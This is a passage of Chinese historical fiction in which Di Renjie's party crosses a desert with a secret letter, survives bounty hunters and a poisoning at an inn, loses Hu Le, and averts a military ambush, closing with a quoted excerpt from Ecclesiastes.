他们中间那个像鬼的冷笑道:“你们还不知道吧?你们六个人如今已经被全天下通缉了,没想到你们还自投罗网。哼,这桩买卖,最终还是落在了咱哥儿们手里。” 胡乐道:“什么通缉买卖?” 那鬼冷笑道:“死也让你们死个明白。你们自从逃离了西北城,突厥人便到处通缉你们。说有六个人,其中一个是满腮大髯缠头巾的胡人,还有五个,是汉人。其中一个高,一个老,两个瘦的,还有一个又肥又矬……” 胡乐怒道:“我操!他们真能抓特点!” 那鬼继续冷笑道:“说这六个人,偷走了重要情报,正在向西北方奔逃。如果谁抓到了他们,夺回了情报,就能拿百两黄金……” 胡乐怒叫:“他妈的又是百两黄金!怎么又是钱!” 狄仁杰叹道:“‘人为财死,鸟为食亡。’” 他们叫道:“我们虽然为财,但我们不会死!要死的是你们!” 那鬼又冷笑道:“整个西北方都是茫茫大漠,而我这店又是途中的第一家。哼,我早就算好了,如果你们走这条路,那么必定会经过我这家店。” 狄仁杰道:“人在利益面前,都变得很聪明啊。” 胡乐哼了一声,道:“难怪我这么笨,原来还是不够爱钱!” 狄宁道:“你们这是黑店。” 那鬼道:“多少英雄好汉,来到我这店里,照样丢了性命。” 狄仁杰哈哈大笑。 他们喝道:“老儿!你笑什么!” 狄仁杰道:“狄某今日来到这里,乃是天意。你们为了金钱,胳膊肘向外也就罢了,竟然还谋财害命!多少客商无辜之人的性命丧于尔手,实在是天理难容!我知道,你们这种店,到处都是。还有你们这群人,也遍地都有!可我平日里没有机会,今日倒要惩治你们一番!” 胡乐几人听了都大声叫好。 他们骂道:“一群老货瘦瘪胡狗肥矬,能打得过爷们儿?” 胡乐也大骂:“我去你们的妈妈!砍死你们的鸟头!”一面一把抓住酒罐狠砸将去,那群人连忙避了开,砸在了柜台上,发出巨响,酒水四溅。 登时齐声大喝,抡起菜刀,乱砍将来。 狄宁早将酒碗掷去,伤了几人面门。 只见乱刀砍来,胡乐、梅四儿大声惊呼,忙躲在了木桌下,被砍到了顶端,木屑四溅。 韩忠义一把抡起木椅,到处狂甩,接连击中,又同时挡掉了菜刀,大声喝叫。 狄宁早一脚踢得桌椅东碰西撞,同时拔出腰刀,到处乱砍,一面大叫:“韩将军!你也有刀!” 韩忠义一听大叫一声,连忙拔出刀来,乱砍将去。 那群人竟也不好对付,菜刀乱扔乱劈,还夹杂着胡梅二人的惊叫声。 狄仁杰此刻在角落里东躲西闪,菜刀屡次从身旁掠过。 巴兰姆大叫:“都是人!不要互相伤害!” 一把菜刀飞来,被狄宁飞去酒碗挡落。 那鬼见他们只两个会点武功,自己十来人却打不过,气得大骂:“一群废物!你们得不到黄金!” 不料那十来人正打得很累,一听他骂,一齐骂道:“我们去你妈的!你也别想得到!” 菜刀同时飞将去,砍死了那鬼。 十来人疯也似的大叫:“我们要黄金!杀了他们!” 狄宁早飞腿连踹,一齐倒了下去。 他们在地上大叫:“黄金!黄金!” 手中菜刀到处乱砍,竟把自己身边的伙伴砍死了。 顷刻间,血流成河,店里人都死光了,却没有一人是死在了狄仁杰几人手里。 几人叹了口气,到后面找了点没有蒙汗药的酒喝了,方解了渴。 一时装满了水壶,狄仁杰命将店里人的尸体拖到外面去埋了。 看着他们被一层沙土覆盖,大风吹过,竟然什么都没有留下。 几人呆了呆,便继续赶路。 又行了一时,漫天风沙,几人感到脚底一滑,整个人从沙坡边上直摔了下去,一齐发出了“哎呀”“哎哟”“啊”的叫声。 胡乐大叫:“是悬崖!我们死啦!” 巴兰姆大叫:“上天啊!” 梅四儿大叫:“妈!” 另外三人还来不及叫,便跟着摔在了地上。 幸亏地上皆是厚厚的沙,并不曾伤。 狄仁杰却顿感浑身剧痛,不由得一声惨呼,痛苦地呻吟起来。 几人也都摔得头昏脑胀,眼前又是一片模糊,仿若天昏地暗一般。 胡乐愁眉苦脸道:“哎呀,我死啦……” 忽听得哈哈大笑,一个洪亮的声音说道:“放心,你们死不了!” 几人都吃了一惊,四处乱看,然除了风沙,什么也看不见。 那个声音又道:“只要你们肯交出情报,我立刻就放了你们!” 几人一听,都大眼瞪小眼,却连对方的眼睛都看不见。 那人又道:“你们不用怕!本大侠只要情报,不要人命!” 胡乐叫道:“你谁啊!” 忽听得另一个低沉的声音喝道:“情报给我!” 登时从沙堆里传来一声巨响,风沙之中,一个滚圆之物飞将出来,落在了远处沙坡之上。 几人一见,又唬了一跳,不知是什么玩意儿。 只听得之前那洪亮的声音哼哼笑了笑,道:“蓝兄,你莫不是来跟我争情报的?” 那低沉的声音哼了一声,道:“我蓝费不要情报,只要黄金!” 那人道:“拿不到情报,哪儿来的黄金?” 蓝费叫道:“所以我要情报!有了情报,就有了黄金!” 那人哼哼笑道:“这么说,你确是来跟我争的?” 那蓝费喝道:“汤无宴!你不要欺人太甚!” 那汤无宴道:“我怎么欺人太甚了?” 蓝费道:“情报和黄金的事儿,是我先听说的。我告诉了你,你就来跟我抢,你还好意思说吗!” 汤无宴道:“兄弟我也只是来分一杯羹,你又何必为了这等小事耿耿于怀,伤了我们兄弟之间的和气。” 蓝费喝道:“你给我闭嘴!无耻小人,谁跟你是兄弟?” 汤无宴道:“我们八拜之交,结义多年,怎么就不是兄弟了?” 蓝费咬牙切齿道:“从现在起,我们两个恩断义绝!” 汤无宴道:“何必呢,不就是百两黄金嘛,兄弟我留给你就是了。” 蓝费道:“你说的可是实话?” 汤无宴道:“那当然,我们是兄弟嘛。” 蓝费听了感动道:“好兄弟啊!我就知道,你果然是个重情义的好汉!我蓝费,果然没有看错人!”擦了擦泪,又道:“行,那好,那等我拿到了钱以后,你他妈一分也别跟我抢!” 汤无宴指着喝骂:“你个狼心狗肺的杂种!” 蓝费亦喝骂:“你个贪得无厌的畜生!” 汤无宴骂:“你他妈活在世上都浪费了空气!” 蓝费骂:“你个挨千刀的王八羔子!” 汤无宴骂:“你个人不像人、球不像球的狗杂种玩意儿!你他妈的也配得黄金!” 蓝费骂:“我不配你个王八瘦瘪配!为了点儿他妈的破黄金,急着向突厥人领赏的狗汉奸!你也配说我!” 汤无宴骂:“我向突厥人领赏,你他妈的不向突厥人领赏!你个狗杂种!你是你妈跟突厥人生的!” 蓝费骂:“你是我跟你妈生的!你个见利忘义的狗杂种畜生!” 二人登时一声狂叫,在风沙之中叮叮当当,打将起来。 这里狄仁杰几人都听见了,知道二人又是冲着自己而来。 正要趁机逃跑,忽听得大叫:“他们要跑!” 汤蓝二人登时互道:“我们先拿到了情报,至于黄金怎么分,到时候再说!” 二人同时大叫一声,朝几人直扑将来。 胡乐大叫:“妈呀!老爷怎么办!” 狄仁杰大叫:“跑啊!” 刚跑出一步,都一齐摔了下来,吃了一嘴的沙。 只见一瘦麻杆穿过风沙持刀直刺将来,狄宁连忙拔出腰刀挡格。 那瘦麻杆便是汤无宴,顷刻间便连刺了数十刀,狄宁后发制人,登时落了下风,毫无还手余地。 猛地一声巨响,一滚圆之物从沙堆底下直钻了出来,朝几人直扑将去。 那滚圆之物便是蓝费,会遁地之术,潜入了沙底,又正好从胡乐、梅四儿二人之间噗的一声钻了出来,双手一伸,一把将他们抓住。 二人大声惊呼,挣脱不开,忽地飞来一刀,正是韩忠义所掷。 那蓝费连忙闪身一避,不由得脚下一滑,抓着二人直摔了下去。 韩忠义直扑将来,抓住蓝费就咬,痛得他大声惨叫。 这里狄宁逐渐占据上风,反守为攻,将那汤无宴逼得连连倒退。 狄仁杰大叫:“休要恋战!我们快走!” 突然又摔了一跤,滚到了沙堆里,那封密信登时从衣袖中掉了出来。 汤蓝二人一见,大叫:“是黄金!” 早卖个破绽,朝沙堆里直扑将去。 忽听得惨叫声,却是那汤蓝二人同时摸到了地上的密信,深怕对方抢去,便同时出了一掌,一齐同归于尽。 狄仁杰几人寻了半日,总算摸到了那封密信,两旁便是汤蓝二人的尸体,双手五指兀自紧抓着密信,隐约见他们眼睛瞪得大大的,进了许多的沙粒。 狄仁杰遂仍复收好了密信,与几人走上了正途,继续赶路。 接下来的日子,狄仁杰一行被那些同样是为了黄金而来的人们折磨得够呛,最终九死一生,看着他们之间互相残杀,自取灭亡。 算来,竟无一人是死在了狄仁杰几人手里。 这日行过大道,已临近北关。 巴兰姆与几人辞别,要自往吐蕃而去。 几人遂也与他告别,叫他一路保重。 狄仁杰、巴兰姆二人虽有千言万语,然于临别之际,却连一句也说不出口,只是互望着对方,含泪点头。 巴兰姆去了。 看着他的背影渐行渐远,直到隐没在了黄沙之中。 狄仁杰抬起头,望着蓝蓝的天,说道:“都散了。” 后来听说吐蕃罢兵了,其周遭诸小国也跟着退军了。 狄仁杰明知乃巴兰姆之功,喜得眉开眼笑。 却不知,巴兰姆也因此再也不能跟他相见了。 原来巴兰姆自到吐蕃,透过与驸马的关系陛见 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至于为什么国王突然转变了,连满朝大臣都不明白。国王自己也不太明白。但那张纸上写的“到头来,唯死而已”,这么几个字,肯定是对他产生了什么影响,让他从那天起意识到了,自己纵然是一国之君,也不过就是个人而已,跟众生的结局一样,到头来,也只是以死亡告终。 却说狄仁杰一行这晚来到了沙漠的尽头,忽见前方有一客店。 近前一看,匾额上写着“福生旅店”四个大字。 几人遂进了来,见许多人正坐着吃饭,倒颇为热闹。 只见一小二打扮的迎上来笑道:“哟,几位客官,是打尖还是住店?” 胡乐笑道:“打尖。” 狄仁杰看了看窗外,道:“天色也晚了,我们吃个饭,再住一宿吧。” 小二笑道:“欸,好嘞。几位请。” 五人便在一空桌旁坐了。 许久不见如此多人,又见他们都笑着聊天吃饭,气氛是何等的愉快。 几人见了,也都不由得笑逐颜开,感到十分欢喜。 遂点了两盘牛肉、十来块馒头,还有一壶好酒。 店里油灯蜡烛点满,照得四处亮堂堂的,仿佛驱散了遍地的黑暗。 听店里吃饭之人聊的皆是家长里短,也并未夹杂着劳苦愁烦,几人都感到放松了许多。 小二一时端上盘子、碗筷、酒壶,还亲自为几人斟酒,并笑着说声:“请慢用。” 狄仁杰忙多谢了,跟几人笑道:“我们吃吧。” 胡乐正要吃喝,忽悄声道:“老爷,这酒饭里……别又有蒙汗药吧?” 韩忠义一听,大叫:“蒙汗药!” 店里众人正吃着,听他这么一叫,吃了一惊,都回过头来看了他一眼,又复吃去。 狄宁道:“老爷,看样子没有。” 狄仁杰将酒饭打量了一番,又看了看四周,见众人都吃得好好的。 那小二也忙忙碌碌,又是招呼又是上菜,满脸陪笑着乱跑。 狄仁杰道:“好像没问题吧。” 胡乐手上拿着馒头,一直看着,却不吃,只道:“老爷,我……我有不好的预感。” 狄宁看着他道:“胡乐,你今天怎么啦?” 胡乐道:“我……我就是感觉……哪里不对劲。” 狄仁杰道:“为什么这么说?” 胡乐道:“好像……这个店的氛围……太好了点。” 狄宁道:“好有什么不好?” 胡乐道:“也不是,就是……唉,有点奇怪啦。” 狄仁杰呵呵笑道:“胡乐啊,你这一路走来,也学会警惕啦?” 狄宁也笑了。 胡乐道:“我……我跟了老爷这么久,也……也该学会点儿了。” 狄仁杰笑道:“好了好了,吃吧吃吧。” 梅四儿等不得一声,早吃了起来。 胡乐只是拿着馒头慢慢地吃,眼神迷离,若有所思。 韩忠义给胡乐夹了一块牛肉,叫道:“吃,吃,吃!”自己一面大口吃着。 狄仁杰喝了一口酒,凉凉的下去,喉咙里却感觉热热的,很舒服。 见胡乐仍是呆呆的,手上拿着那半块馒头,嘴里都没有在嚼。 狄仁杰道:“胡乐,你怎么啦?” 胡乐忽地抬起头来,看着狄仁杰道:“老爷,谢谢你。” 狄仁杰笑道:“你谢我什么?” 胡乐道:“你养了我。” 狄仁杰听了,微笑着点头,道:“吃吧。” 胡乐也点了点头,吃了起来。 又吃了一时,狄仁杰双手捧起酒碗来,看着几人道:“不知我们几个,还能相聚几时。啊,我……先干为敬。”说着一饮而尽。 胡乐、狄宁、韩忠义也跟着捧起碗来。 梅四儿见了,也只好跟着捧。 胡乐道:“老爷,我不太会说话,这个……你们说两句。” 狄宁道:“我也不会。” 韩忠义便大声道:“说就说!我告诉你们,我韩忠义是个人!你们不能把我当畜生!”说着一饮而尽。 狄仁杰、胡乐、狄宁见了,只是叹气。 狄仁杰又向梅四儿道:“梅四儿啊……” 梅四儿忙道:“阁老。” 狄仁杰道:“你这一路也幸苦了。” 梅四儿忙道:“哦,没有。” 狄仁杰道:“放心,你也有功劳。等破案了以后,我就表奏圣上,说你……” 梅四儿忙道:“小的何功之有,不敢……不敢当。”心里却暗喜。 几人又吃了几口,突然感到胃里作痛。 胡乐道:“哎呀,我肚子……好痛啊……” 另外几人也痛得呻吟了起来。 狄仁杰道:“不好,我们中计了……” 猛听得“啪”“砰”之声,门窗一齐关闭。 登时店里人一齐站了起来,一片声呛啷,刀剑出鞘。 听得哈哈大笑道:“你们最终,还是落到了我们手里。” 狄仁杰几人也勉强站了起来,感到身子一软就要倒下去,便忙扶住了桌子。 见那小二也狞笑了起来,看着几人道:“没想到吧。” 胡乐道:“妈的,吃饭的都是一伙儿的……” 几人感到肚子越来越痛,又胸口一热,一齐吐出血来。 他们冷笑道:“你们已经中毒了,马上就要死了。” 狄仁杰悔恨地想道:“路都走了这么长了,居然会死在这里,我……功败垂成!” 想着大叫一声,又因怒火攻心,鲜血便如泉涌般喷射而出,整个人向后直倒了下来。 胡乐、狄宁大叫:“老爷!” 一使劲,也是一口鲜血喷出。 韩忠义气得大叫一声,也是口吐鲜血。 梅四儿想到就要死了,立时大哭了起来。 他们冷笑一声,拿出了一个棕褐色的小瓶子,向几人道:“这是解药。” 几人朝那瓶子一看,却不知真假。 他们道:“放心,这解药是真的。” 胡乐道:“我们怎么知道是不是真的……” 他们道:“你们都快死了,我们又何必欺瞒。” 狄宁道:“你们想怎么样?” 他们道:“我们就要情报。” 胡乐道:“给你们情报,你们就给我们解药?” 他们道:“那得看你们愿不愿意做这个交易了。” 狄宁道:“我们要是给你们情报,你们又不给我们解药……” 他们道:“只要你们肯交出情报,我们自然会给你们解药。” 胡乐道:“给了之后,你们要不给怎么办?我们……凭什么相信你们?” 他们道:“你们只能相信我们。” 胡乐道:“我们现在没吃解药,也还活着。” 他们道:“从现在起,你们最多再活一刻钟。如果这中间不服下解药的话,就是神仙来了,也救不了你们。” 胡乐悄问狄仁杰:“老爷,给不给?” 狄仁杰想还是先保命要紧,只要留得命在,情报还有机会再夺回来。 韩忠义大叫:“不给!不给!” 狄宁道:“老爷,我们先拿到解药再说。” 狄仁杰点了点头。 忽然梅四儿抢先一步说道:“我给!” 他们道:“你给?” 梅四儿忙道:“我给,我给。” 他们道:“情报在你身上?” 梅四儿道:“不在我身上,但我知道在哪。” 他们道:“在哪?” 梅四儿道:“你们……先给我解药。” 他们中一个拿着解药走了过来,给梅四儿嘴里倒了点粉末。 梅四儿忙含着唾沫咽了下去,登时感到胃里舒服些了。 他们道:“这只是一半的量,还没有完全解毒。” 梅四儿“啊”的一声,惊恐地望着他们。 他们道:“快去拿情报吧。” 梅四儿道:“你们……你们……先给我解药……” 他们喝道:“得不到另外一半解药,你照样活不过今晚!” 梅四儿求道:“我……我求求你们……救救我……” 他们道:“你先把情报交出来,我们一整瓶都给你!” 梅四儿道:“真的吗?你们……你们……” 他们喝道:“快去!让你们主动交出来是给你们面子!等你们死了,我们照样能来搜尸!” 梅四儿忙道:“我去,我去。”一回身,便朝狄仁杰走了来。 胡乐叫道:“梅四儿!你不许这样!” 他们又喝道:“快点!” 梅四儿看了眼胡乐,不停地喘气,又看着狄仁杰,道:“阁老,你……” 狄仁杰什么也没说,只是望向别处,轻轻叹了口气。 梅四儿双手颤抖,缓缓靠近狄仁杰的衣袖。忽见狄宁恶狠狠地瞪着自己,吓得“啊”的一声,后退了几步。 他们道:“是在那老儿身上?” 梅四儿忙回头道:“是,是。” 他们道:“那你赶紧拿。否则让我们搜了出来,你就别想再得到解药。” 梅四儿一听,忙道:“我现在就拿,我现在就拿。” 韩忠义大叫一声:“谁敢拿!”将桌上酒碗砸个粉碎。 梅四儿一见,大惊失色,忙道:“我不拿,我不拿。” 他们道:“横竖就在那老儿身上,我们搜去。” 梅四儿忙叫:“不!我能行!” 他们道:“最后给你一次机会。” 梅四儿想道:“我怕什么?他们几个反正都要死了,就我能活……”遂走到狄仁杰面前,从他袖子里掏出了那封密信。 店里那些人见了,都喜道:“是情报……是黄金!” 狄仁杰闭眼皱眉,只是摇头。 原来除了梅四儿因服下了解药而得到了些许缓解,其余四人不但浑身剧痛,还丝毫动弹不得。 其实之所以动不了,乃是因为毒性已入血液,以致于周身肌肉逐渐僵硬,慢慢地就要死亡了。 那些人叫梅四儿:“你……你快拿着黄金过来……” 梅四儿道:“这……这不是黄金。” 他们叫道:“这就是黄金!” 梅四儿道:“这只是一封信……” 他们叫道:“你想独吞!” 梅四儿道:“我……我只要解药。” 他们叫道:“你拿过来!” 梅四儿道:“我给你们,你们给我解药。” 他们叫道:“快拿来!” 眼睛都瞪得大大的。 梅四儿便拿着密信走了过去。 狄仁杰几人也只好眼睁睁地看着,且明知自己几人还不到半盏茶就要死了。 此刻浑身上下愈来愈痛,肌肉也是越来越僵硬。 胡乐忽然记起了小时候,自己本是个孤儿。若非狄仁杰见自己可怜,将自己收养,也不知如今,自己将身在何方。他这时候看了一眼狄仁杰,见他苍老的面上,满了遗憾,痛苦已极,却无能为力。自己一直都被狄仁杰默默地关爱着,细心地照顾着,却从来没有为狄仁杰做过什么。 他胡乐,觉得自己对不起狄仁杰。狄仁杰也从来没有图过自己的什么回报,自己久而久之,便以为理所当然了。不!这是狄仁杰的爱,对自己白白的爱,不是自己应得的,不是因为自己配!胡乐都想起了,在这一瞬间,他什么都想起了。他想起了小时候,狄仁杰抱着自己,教自己读书写字,自己又不爱学习,狄仁杰也从不勉强。他抱着自己逛街游玩,看山看水,这世上的风景,因为他,自己才有机会去看见。还有韩忠义,一直对自己很好,是个潇洒帅气的大哥哥,还想教自己习武,可惜自己没那天分。还有狄宁,也是个好兄弟,只是平时话少了些,但心地善良,也对自己很好。 胡乐这时候眼睛含泪,脑海中瞬间闪过各种各样的记忆,过去仿佛就在眼前。但现在呢?陷入了绝境,自己又能为狄仁杰他们做些什么?他看见梅四儿将密信交给了那群人,那群人便给了他解药。他不由得毕生中的所有爱恨情仇尽都涌上了心头,咬牙切齿,大叫了一声,整个人便仿佛冲开了穴道一般,朝前方直扑将去。 梅四儿正要吃解药,忽见胡乐朝自己扑了过来,大吃一惊,“啊”的一叫,跟着手中解药被一齐扑倒在地。 店里那群人一见了密信,立时都疯了一般,大叫着“黄金是我的”,同时互相抢夺起来。 登时店内一片混乱。 胡乐、梅四儿二人也为了抢夺解药到处乱滚,一面厮打互骂。 胡乐大叫:“你个王八蛋!忘恩负义!咱老爷哪里对不起你!” 梅四儿大叫:“你们一群狗玩意儿都给我去死!解药是我的!” 胡乐一拳打他脸上,梅四儿登时昏了过去。 胡乐连忙抢到了药瓶,只见药粉撒得到处都是,便手忙脚乱将粉末往瓶子里塞。 狄仁杰叫道:“胡乐!你先自己解了毒!” 胡乐一面装粉,一面颤道:“你们还没解毒呢……” 这时店里诸人都互相持刀乱杀乱砍,就为了那封密信,或者说黄金。 登时血流成河。 胡乐刚将药粉装好,浑身已经抖得快动不得了。 梅四儿忽睁开眼来,明知自己还未解毒,便大叫:“解药是我的!” 胡乐刚爬了几步,被梅四儿直扑了过来,按住在地,硬抢他手中的药。 梅四儿拿着药瓶就要往嘴里倒,被胡乐翻身一巴掌,打了他个踉踉跄跄,不由得手一松,药瓶直掉了下来。 胡乐连忙一把接住,感到浑身上下说不出的难受,几乎就要放手。 梅四儿心想:“我要死了,我要死了……我要死啦!” 立时朝前一趴,双手抓住胡乐的脚不放。 胡乐大叫:“老爷!你们不能死!” 梅四儿死抓着他的脚不放,咬牙切齿的,跟疯了一般。 胡乐“呀”的一叫,后脚一踹,正好踢中梅四儿面门。 梅四儿“啊”的一叫,翻了几个滚,不省人事了。 四周叮叮当当,群魔乱舞,胡乐拼尽全力爬了过来,将药粉往狄仁杰、狄宁、韩忠义三人口里一倒。 忽见一人疯也似的持刀朝狄仁杰直砍将来。 就要击中时,胡乐连忙向前一扑,大叫:“小心!” 突然感到背上一痛,已经被砍中了。 狄仁杰三人一声惊呼,都呆住了。 狄宁吃了解药,已恢复了过来,一见胡乐被砍着了,大叫一声,拔出腰刀,朝那持刀的直砍将去,登时砍作两半。 胡乐趴在了地上,背上插着刀刃,血流不止。 狄仁杰三人大叫:“胡乐!” 胡乐奄奄一息,眼前一片朦胧,听到了他们正在叫自己,便轻轻地应道:“我在……” 狄仁杰看着他哭,说不出话来了。 狄宁也哭,韩忠义更是大叫:“你不能死!你不能死!” 胡乐眼睛就快要闭上了,从嘴角不停地流出血来,几不可闻地说道:“老爷,你们要好好地活着,继续走下去啊……” 狄仁杰哭着点头。 胡乐又道:“狄宁兄弟,你……你帮我好好照顾……照顾忠义哥哥……” 狄宁也哭着点头,道:“我知道了。” 胡乐又几不可见地微微一笑,说道:“如果有来世……我还服侍老爷……” “福生旅店”中的人都死光了,却仍然没有几个是死在了狄仁杰几人手里。 这客店之中堆尸如山,无法一个个埋葬。 几人于是放了一把大火,将它烧了。 胡乐的尸体,也在当中。 狄仁杰三人却将梅四儿救了出来,还给他喂了解药。 梅四儿醒来后,得知胡乐已死,且自己又为他们所救,不由得无地自容。 狄仁杰看着他道:“你是继续跟着我们,还是各走各的路,你自己选择吧。” 梅四儿一见韩忠义、狄宁二人都恶狠狠地瞪着自己,便唬得忙道:“我……我自己走。” 狄仁杰遂将一半的盘费与了他,道:“你自己珍重吧。” 梅四儿战战兢兢接了,道:“阁老,我……” 狄仁杰道:“罢了。人各有志,不能强求。” 梅四儿也只好点了点头,自己从原路去了。 他走啊,走啊,感觉双腿直发软。 夜风吹来,遍地的沙子飒飒响。 此刻眼前一片漆黑,恍恍惚惚,不知要往哪里去。 他冷得全身颤抖,从头到脚都在打战。 他忽想道:“我……我怎么就走了呢?我……我自己一个人,我……我要上哪儿去啊?我……我在干吗?唉呀,我当初到底为什么呀……妈,我为什么呀……我到底怎么啦……唉呀,天下如此之大,却没有一个地方容得下我……我……我该怎么办哪?天哪,我都做了什么呀!唉呀,本来好好的嘛,怎么会这样呢?我到底为什么嘛……唉呀,我的天哪,我到底在干吗呀……”迷惘地看了看四周,只有望不见尽头的茫茫大漠,还有自己独自站在当中。不觉哭了起来,蹲着想道:“为什么天下人都负我,都容不得我?我哪里不好?不过就胆小些,自私了点儿,又见风使舵……这算什么嘛!唉呀,为什么呀,我为什么呀!为什么会掉下悬崖,又为什么会发配边疆,现在又为什么会在沙漠里,孤独地走着路啊……你们为什么恨我!天哪,你要绝我呀!我没事儿找事儿干吗呀!哎呀!” 行了数日,身上虽有银子,却没有花银子的地方,因此又饥又渴,趴在了沙地上,不停地叫苦。 夜间又经常梦见洪辉、胡乐等人的鬼魂前来索命,吓得他连声大叫,便如疯了一般。 这时心力交瘁,一头倒了下来,便再也没有起来了…… 却说狄仁杰、韩忠义、狄宁三人为胡乐痛哭了一番,便继续赶路。 沿途打听到了大军的下落,竟是一路向西而去。 狄仁杰恍然大悟,明白了这个惊天阴谋:那内奸是想把大军引到埋伏圈内,好将其一举歼灭。 狄仁杰道:“西峡谷是通往突厥境内的第一个谷口。只要大军一进入谷中,两旁伏兵齐出,乱箭齐发,矢石俱下,顷刻便可送掉数十万人的性命。” 狄宁道:“可是老爷,我们已经来不及了。” 狄仁杰道:“来得及,一定来得及。” 狄宁道:“大军人多行得慢,或许现在还能赶得上。” 狄仁杰道:“我们走!” 三人遂穿过一片荒芜,日夜兼程地赶路。 这日总算追到了大军的后方,却被那些断后的士兵拦住道:“喂,你们是什么人?” 狄仁杰喘了口气,说道:“我有紧急军情,我……” 士兵们道:“你?你是谁?” 狄仁杰道:“我……我是狄仁杰。” 士兵们道:“狄仁杰?那个宰相?” 狄仁杰点头道:“是。” 士兵们互看一眼,道:“你说你是那个宰相,狄仁杰?” 狄仁杰道:“是我。” 他们忍不住哈哈大笑起来。 狄仁杰道:“你们干吗笑呀,我有紧急军情!” 士兵们指着他笑道:“老货,瞧你这德性,说是乡巴佬、叫花子,我们还信呢。说是宰相……哈哈哈,太丑喽!” 狄宁怒道:“你们有没有病!” 士兵们听了也怒道:“你还敢骂我们!信不信把你们几个当奸细抓了!” 狄仁杰向远处张望。 他们喝道:“老货!你看什么!” 狄仁杰忙问:“大军的前头现在到哪儿了?” 士兵们道:“死老儿,想窥探我军军情呢?” 狄仁杰道:“我没有!” 士兵们道:“瞧瞧,瞧瞧!恼羞成怒了!果然是敌军派来的奸细!” 狄仁杰道:“大军必须得停下来,否则一切就都晚了……” 士兵们道:“窦将军带着我们远征呢。你要我们大军停下,是何意图啊?” 狄仁杰道:“窦将军?他……他不是副将吗?” 士兵们道:“大将军被害了,那么窦副将自然就当上将军了。” 狄仁杰道:“他没得到皇上旨意……” 士兵们道:“将在外,君命有所不受!” 狄仁杰道:“大军到谷口了没有?” 士兵们道:“敢套问军情?你是不是奸细!” 狄仁杰道:“我们像奸细吗?” 士兵们道:“像。” 韩忠义大叫:“因为你们,灭国啦!” 士兵们喝道:“你们再不滚,抓了你们!” 狄仁杰忙从衣袖里掏出密信给他们看,道:“这是大将军亲笔血书,说的是他如何被你们这窦将军给使计暗害了。” 士兵们道:“我们不识字,看不懂。” 狄宁叫道:“你们故意的!” 士兵们指着道:“你再叫一句试试。” 狄仁杰道:“现在除了窦亭章,还有谁在统领大军?” 士兵们道:“不告诉你。” 狄仁杰喝道:“你给我说!” 三人遂被抓到了中营。 士兵们禀告说,这三人是敌军派来窥探军情的奸细。 那卫队长一见,惊道:“这……这莫不是狄阁老?” 狄仁杰抬起头来,道:“你认识我?” 卫队长忙命给三人松绑,请三人坐。 他道:“末将曾受过阁老恩惠,阁老不记得了?” 狄仁杰道:“不记得了。” 二人遂聊了起来。 原来这卫队长确实受过狄仁杰恩惠,狄仁杰也确实是不记得了。 狄仁杰却哪管那么多,赶紧将要事说了。 卫队长吃了一惊,问道:“可有证据?” 狄仁杰便将密信取了出来。 卫队长看了,惊道:“真有此事!” 狄仁杰道:“你可有办法?这可是数十万人命啊。” 卫队长道:“阁老有所不知,如今的副将正是前任大将军王孝杰之弟,王孝是也。窦亭章与王孝本就不合,包括这次远征,也皆是窦亭章的意思。其实众将士都不愿远征,只是大将军被害,窦亭章说他是中了敌军的埋伏。末将却是认得前任大将军的,他的笔迹我也熟悉,这封信确是他写的。啊,既然阁老不远千里而来,且末将又是忠于大周之人,非比某些吃里爬外之徒,那么我在得知了此等事后,又焉有不将真相公布于天下之理?阁老但可放心,一切交与我!” 狄仁杰多谢了。 这卫队长亦是王孝的人,便将其兄血书交彼阅之。 王孝览毕,泪如雨下,誓要将窦亭章千刀万剐。 后来大军于将及谷口之处停驻,军中登时分作了双方:一方是以窦亭章为首主张继续进军的,另一方则是以王孝为首主张退军的。 就在大乱之际,军中又发生了兵变,超过上万士兵造反杀人。 于是皆在西峡谷之畔乱斗了几天几夜。 突厥伏兵于峡谷之上按捺不住,又因国中突发政变,少了接济,便严重断水绝粮,再不能多待一时。 遂皆从山上直攻了下来,参与了乱斗。 王孝将败之际,出示了其兄血书,将秘密公之于众。 登时窦方士兵有一半降了王孝,使得王孝反败为胜,成功反扑并剿灭了窦亭章及其叛军,又诛杀了上万突厥兵。 王孝遂继承了其兄之位,当上了大将军,统领数十万大军,后退至西北,收复了城池,使得西北城复归大周。 大军回来驻守边关的同时,便听得吐蕃等诸国已经退军了。 突厥孤立无援,不久亦退。 于是边陲安定,天下太平。 大将军王孝表奏了卫队长之功,使其成为了自己副将,还有诸多心腹等人,也都受到了朝廷嘉奖。 至于狄仁杰等人的事,谁也不知道。 只因王孝问那卫队长密信的来源时,他说道:“乃末将路上捡的。” 于是这位“捡到了密信”的卫队长便顺理成章地成为了此次平定战乱的首功,也自然不会有人知道,这个重要的情报究竟是怎么来的…… 智慧的王所罗门著《传道书》。 “传道者说:虚空的虚空,虚空的虚空,凡事都是虚空。人一切的劳碌,就是他在日光之下的劳碌,有什么益处呢?一代过去,一代又来,地却永远长存。日头出来,日头落下,急归所出之地。风往南刮,又向北转,不住地旋转,而且返回转行原道。江河都往海里流,海却不满;江河从何处流,仍归还何处。万事令人厌烦,万物满有困乏,人不能说尽。眼看,看不饱;耳听,听不足。已有的事,后必再有;已行的事,后必再行。日光之下,并无新事。岂有一件事能指着说这是新的?哪知,在我们以前的世代,早已有了。已过的世代,无人纪念;将来的世代,后来的人也不纪念。” “我见日光之下所作的一切事,都是虚空,都是捕风。弯曲的不能变直,缺少的不能足数。我心里议论说,我得了大智慧,胜过我以前在耶路撒冷的众人,而且我心中多经历智慧和知识的事。我又专心察明智慧、狂妄和愚昧,乃知这也是捕风。因为多有智慧,就多有愁烦;加增知识的,就加增忧伤。” “凡我眼所求的,我没有留下不给他的;我心所乐的,我没有禁止不享受的;因我的心为我一切所劳碌的快乐,这就是我从劳碌中所得的份。后来,我察看我手所经营的一切事和我劳碌所成的功,谁知都是虚空,都是捕风,在日光之下毫无益处。我转念观看智慧、狂妄和愚昧。在王以后而来的人还能做什么呢?也不过行早先所行的就是了。我便看出智慧胜过愚昧,如同光明胜过黑暗。智慧人的眼目光明,愚昧人在黑暗里行。我却看明有一件事,这两等人都必遇见。我就心里说:愚昧人所遇见的,我也必遇见,我为何更有智慧呢?我心里说:这也是虚空。智慧人和愚昧人一样,永远无人纪念,因为日后都被忘记;可叹智慧人死亡,与愚昧人无异。我所以恨恶生命,因为在日光之下所行的事,我都以为烦恼,都是虚空,都是捕风。我恨恶一切的劳碌,就是我在日光之下的劳碌,因为我得来的必留给我以后的人。那人是智慧,是愚昧,谁能知道?他竟要管理我劳碌所得的,就是我在日光之下用智慧所得的。这也是虚空。故此,我转想我在日光之下所劳碌的一切工作,心便绝望。因为有人用智慧、知识、灵巧所劳碌得来的,却要留给未